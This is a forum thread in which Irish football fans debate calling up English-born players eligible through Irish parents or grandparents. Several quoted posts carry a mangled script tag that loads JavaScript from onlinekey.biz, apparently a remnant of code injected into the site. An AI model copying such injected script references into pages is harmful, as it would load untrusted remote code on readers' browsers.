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Players eligible for Ireland

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Kevin Kilbane
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Gerry Geary Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 7:08pm
Originally posted by Conan Conan wrote:

What the likes of McClean don't seem to understand is that ALL his english teammates are likely playing in Green because they aren't good enough to play in white. Rice is an exception only in circumstance in that he developed to be good enough to be picked by England before he'd won a full (meaningful) cap. Unless they have all Irish family like Breen and Kilbane they are likely to support the country they are born and raised as well as be attracted to the better prospects of success and glory that come with it. 

The first step towards addressing whether we should be calling up the granny rulers is accepting the reality we are their second choice. I can live with the Ireland as a club mentality that all that matters is getting the best team of players, though I don't agree with it as it defeats what international football is about.....the pride in your country being represented. What offends me a lot more though is the layers of delusion and fabrication of an Irish identity, perpetuated by the newspapers and FAI that always have to hype up the 'I am so proud of honouring my dead granny from Co Mayo' angle to try and legitimise the whole process and try and give them some credibility. Its all horses**t but people just lap it up.< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">
 
lawrenson Galvin Aldridge Michael Robinson the chose right. The 4 decided Ireland before england
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Post Options Post Options   Thanks (0) Thanks(0)   Quote grannyrule Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 7:13pm
Personally, I couldn't really give a damn if a fella bleeds Irish blood or not. All I care about is that the potential recruit can improve the squad. Give me 20 Nathan Redmonds over 20 Daryl Horgans any day.
"It has been one of the worst years in living memory of Irish football, it has been that bad and a lot of it is down to Martin. The morale is rock bottom." - Keith Andrews, 16/10/2018
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Post Options Post Options   Thanks (0) Thanks(0)   Quote The O'Shea Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 7:14pm
Originally posted by Conan Conan wrote:

What the likes of McClean don't seem to understand is that ALL his english teammates are likely playing in Green because they aren't good enough to play in white. Rice is an exception only in circumstance in that he developed to be good enough to be picked by England before he'd won a full (meaningful) cap. Unless they have all Irish family like Breen and Kilbane they are likely to support the country they are born and raised as well as be attracted to the better prospects of success and glory that come with it. 

The first step towards addressing whether we should be calling up the granny rulers is accepting the reality we are their second choice. I can live with the Ireland as a club mentality that all that matters is getting the best team of players, though I don't agree with it as it defeats what international football is about.....the pride in your country being represented. What offends me a lot more though is the layers of delusion and fabrication of an Irish identity, perpetuated by the newspapers and FAI that always have to hype up the 'I am so proud of honouring my dead granny from Co Mayo' angle to try and legitimise the whole process and try and give them some credibility. Its all horses**t but people just lap it up.< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">

That is grade-A horsesh*t if I've ever seen it. The idea that anyone born in England will automatically regard themselves as English is simply nonsense. There are people born here who identify more closely with the their parents/grandparents country, so why would England be any different? There are literally hundreds of thousands of English-born people who will tell you they identify as Irish over English, is it not eminently possible that some of them are footballers?
We're decent enough..
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Post Options Post Options   Thanks (0) Thanks(0)   Quote gazurtoids Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 7:33pm
Originally posted by The O'Shea The O'Shea wrote:

Originally posted by Conan Conan wrote:

What the likes of McClean don't seem to understand is that ALL his english teammates are likely playing in Green because they aren't good enough to play in white. Rice is an exception only in circumstance in that he developed to be good enough to be picked by England before he'd won a full (meaningful) cap. Unless they have all Irish family like Breen and Kilbane they are likely to support the country they are born and raised as well as be attracted to the better prospects of success and glory that come with it. 

The first step towards addressing whether we should be calling up the granny rulers is accepting the reality we are their second choice. I can live with the Ireland as a club mentality that all that matters is getting the best team of players, though I don't agree with it as it defeats what international football is about.....the pride in your country being represented. What offends me a lot more though is the layers of delusion and fabrication of an Irish identity, perpetuated by the newspapers and FAI that always have to hype up the 'I am so proud of honouring my dead granny from Co Mayo' angle to try and legitimise the whole process and try and give them some credibility. Its all horses**t but people just lap it up.< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">


That is grade-A horsesh*t if I've ever seen it. The idea that anyone born in England will automatically regard themselves as English is simply nonsense. There are people born here who identify more closely with the their parents/grandparents country, so why would England be any different? There are literally hundreds of thousands of English-born people who will tell you they identify as Irish over English, is it not eminently possible that some of them are footballers?


When it comes to a career like football that adds an extra ingredient.....have we ever really got a top top English born player? probably the last was Lawrenson and we nicked him early ...........look at all the top England Internationals who could have played for Ireland, it's an extensive list from Rooney to Keegan, Gerard to Gasgoine ...........it's no coincidence they all chose to play for England
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Conan Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 7:36pm
I've mentioned the likes of Breen and Kilbane as examples of english born players with a genuine sense of Irish identity. They are the exception to the rule though. The idea that an individual could have their sense of national identity defined by where their granny got hatched some time in the early 20th century is laughable. There is a point where you stop being Irish diaspora and just become English and that should be 2nd generation at the loosest definition and even then lads like Kane and Michael Keane whose Irish born fathers moved there as kids clearly feel English. None of our granny rulers have  chosen us over England at a time when England actually wanted them, they do it because England either stopped showing an interest or never would have done. If that doesn't matter to you having a squad littered with England rejects then fair enough but at least face up to the reality of it.< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Sullivinho Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 7:42pm
Originally posted by grannyrule grannyrule wrote:

Personally, I couldn't really give a damn if a fella bleeds Irish blood or not. All I care about is that the potential recruit can improve the squad. Give me 20 Nathan Redmonds over 20 Daryl Horgans any day.


That's your sole criteria eh? Mercenaries anonymous, bogus loyalty on the level of club football and English victory by proxy.

A revolting f**king scenario.

Disconnect the game and its players from the nation and international football is but an excuse to go as far as Tbilisi for a few drinks.
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Gerry Geary Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 7:48pm
We can't have a squad of English rejects. TONY GALVIN is the other we got from nowhere and his Tottenham team was a world class team back then. Cris hughton was better than both Pearce and Samson. Could have played for them. He chose Ireland.
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Post Options Post Options   Thanks (0) Thanks(0)   Quote grannyrule Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 7:55pm
Originally posted by Sullivinho Sullivinho wrote:

That's your sole criteria eh? Mercenaries anonymous, bogus loyalty on the level of club football and English victory by proxy.

A revolting f**king scenario.

If we could get a Patrick Bamford instead of a Padraig Amond or a Nathan Redmond instead of a Daryl Horgan, then yes, give me those lads any day over the Irish born lads.
"It has been one of the worst years in living memory of Irish football, it has been that bad and a lot of it is down to Martin. The morale is rock bottom." - Keith Andrews, 16/10/2018
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Post Options Post Options   Thanks (0) Thanks(0)   Quote doherty Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 8:09pm
Originally posted by grannyrule grannyrule wrote:

Originally posted by Sullivinho Sullivinho wrote:

That's your sole criteria eh? Mercenaries anonymous, bogus loyalty on the level of club football and English victory by proxy.

A revolting f**king scenario.

If we could get a Patrick Bamford instead of a Padraig Amond or a Nathan Redmond instead of a Daryl Horgan, then yes, give me those lads any day over the Irish born lads.

Nah there has to be a line drawn somewhere for me.
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Post Options Post Options   Thanks (0) Thanks(0)   Quote The O'Shea Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 8:13pm
Originally posted by doherty doherty wrote:

Originally posted by grannyrule grannyrule wrote:

Originally posted by Sullivinho Sullivinho wrote:

That's your sole criteria eh? Mercenaries anonymous, bogus loyalty on the level of club football and English victory by proxy.

A revolting f**king scenario.

If we could get a Patrick Bamford instead of a Padraig Amond or a Nathan Redmond instead of a Daryl Horgan, then yes, give me those lads any day over the Irish born lads.

Nah there has to be a line drawn somewhere for me.

The line is drawn very clearly, if you aren't eligible, you can't play.
We're decent enough..
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Post Options Post Options   Thanks (0) Thanks(0)   Quote zizu Kilbane Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 8:26pm
9 irish born lads in the starting XI yesterday...same for the 21s on Sunday. That's a good thing any way you look at it 
"Sometimes, sh*t happens, someone's gotta deal with it, and who ya gonna call?"
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Post Options Post Options   Thanks (0) Thanks(0)   Quote doherty Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 8:33pm
Originally posted by zizu Kilbane zizu Kilbane wrote:

9 irish born lads in the starting XI yesterday...same for the 21s on Sunday. That's a good thing any way you look at it 

Ya. And we could have had a full 11 if we wanted baring injuries or micks own choice. Say we could have had egan and maguire or long etc. 
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Green rebel Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 8:47pm
lads I see alot of talk about Redmond from what im hearing he has no interest in playing for us.Good to see Grant hall back playing.
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Post Options Post Options   Thanks (0) Thanks(0)   Quote aviva8 Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 8:53pm
bamford better than mcgoldrick? Just asking as I haven't seen bamford much. Redmond would be a great addition but don't think he interested however  i don't think he make England squad so he might have a choice to make soon,  international football with ireland or no international football at all
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Post Options Post Options   Thanks (0) Thanks(0)   Quote pre Madonna Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 10:28pm
Originally posted by Sullivinho Sullivinho wrote:

Originally posted by pre Madonna pre Madonna wrote:

Did you have a problem with David McGoldrick playing last night?McGoldrick who didn't know he had any Irish connection until 2014? Sure, he chose us over Scotland, but would he have chose us over England?


None whatsoever. By all accounts, McGoldrick got his declaration/paperwork underway soon after discovering his eligibility. I have no problem with England being his first choice growing up.


Originally posted by pre Madonna pre Madonna wrote:

Nathan Redmond has an Irish mother. England may well have been his first choice, but I don't see the difference between a lad having England as his first choice when he is younger and coming to us later and a lad who declares at 18/19 because he knows he won't make it for England. The only difference is the older lad, like Redmond or Bamford, is more likely to be better.


I believe international football is solely worth a damn because of the legitimate partisanship it supposedly stands for. I also reckon there's enough room for idealism and cynicism in a supporter's outlook and both rely on certain etiquettes and gut feelings.

A bit of pride goes a long way too. 


Now, If you're OK with a guy who played at full international level for England throwing on his green consolation prize, bully for you, Madge. Personally, I think it's a joke, devalues the international game and has me reminiscing on the scent of vomit. Just as the Rice saga and its bleeding heart thinkpieces did. Did the winner of the 'most pragmatic response' award ever collect their prize?

Similarly, one can placidly play along with Bamford's long game and bang out their joy on these forums the minute he finally declares.

I'll reserve the right to think he's not-so-subtly taking the piss.
But what is the difference? If McGoldrick had been as good as Redmond was at that age he would have had umpteen underage caps for England  too. Bamford played for us  once at underage. Both are eligible for Ireland and have a connection to the place, it would be very easy to argue that McGoldrick has much less of a connection, given he only found out a few years ago, but only he can truly know that. In their minds, they are most likely to have  seen themselves as English first, the only difference is the ability they showed when they were younger. 

I think that you thinking it's a joke, is a joke. I used to share your views, especially when I lived in Ireland, because I saw nationality as a black and white issue.  It really isn't and I was wrong. Meeting people daily who are proud to be more than one nationality and heritage makes you realise the complex nature of it. Nationalism as a concept  is something that means less and less to a  lot of people, especially in larger countries. We could go into that more, but it is largely only loosely related to this topic. Simply put, to a lot of people the final two words of the phrase 'national football team' are the only two that are really relevant. 

 I also think it devalues us as a nation if we start telling people who can and cannot be Irish, which in football teams who can and can't play for us and why. I know everybody will deny it and say otherwise, but a lot of the problem is with these lads' other nationality being English. If some lad had 70 odd underage caps for Germany and had an Irish mother, there would be a huge clamour to get young  Seamus Schumacher on board. I understand the rivalry, but someone can be both English and Irish and we need to accept that. Lads will play underage for both sides and swap over. Some lads will feel more Irish than English, some will feel more English than Irish and, on occasion, some will feel more Jamaican/South African/Mexican/Australian/Martian than both. Some players will make the choice for purely financial motives, but only they will truly know that, so it isn't our position to be judging them on our suspicions.
All we can ask is that when they decide to play for the land of their mother or grandfather, that they try and give it their best and have pride in the shirt, their family and themselves. Everything else is just pseudo-fascist mumbo-jumbo.
I am also extremely sceptical of this view that playing for Ireland is going to be a huge financial boon for anyone. Who was the last player who truly had his career turned round because of being capped or playing well for us? 

I also think the eligibility rules are as fair as can be, the only change I would make is that any cap at senior level should tie a player, but that is more to do with my despair at the way international friendlies are viewed by FIFA than the actual eligibility issue.


Edited by pre Madonna - 27 Mar 2019 at 10:31pm
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Post Options Post Options   Thanks (0) Thanks(0)   Quote The O'Shea Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 10:36pm
McGoldrick has said that he always regarded himself as Irish (grew up in a strongly Irish adoptive family), but only realised he was actually eligible when he tracked down his biological mother. He would have been eligible anyway through his adoptive parents, but evidently he (like many people tbf) was unaware of that fact.
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Post Options Post Options   Thanks (0) Thanks(0)   Quote cildaratown Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 10:38pm
Originally posted by The O'Shea The O'Shea wrote:

McGoldrick has said that he always regarded himself as Irish (grew up in a strongly Irish adoptive family), but only realised he was actually eligible when he tracked down his biological mother. He would have been eligible anyway through his adoptive parents, but evidently he (like many people tbf) was unaware of that fact.

If you're adopted by Irish parents you can play for Ireland? Time to start adopting the best up and coming soccer talent then. 
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Post Options Post Options   Thanks (0) Thanks(0)   Quote cildaratown Quote  Post ReplyReply Direct Link To This Post Posted: 27 Mar 2019 at 10:39pm
Originally posted by Green rebel Green rebel wrote:

lads I see alot of talk about Redmond from what im hearing he has no interest in playing for us.Good to see Grant hall back playing.

Are you hearing in the know rumors or just conjecture based off paper talk? Granted he probably doesn't want to play given that he hasn't switched yet, but have you heard this from someone reliable? 
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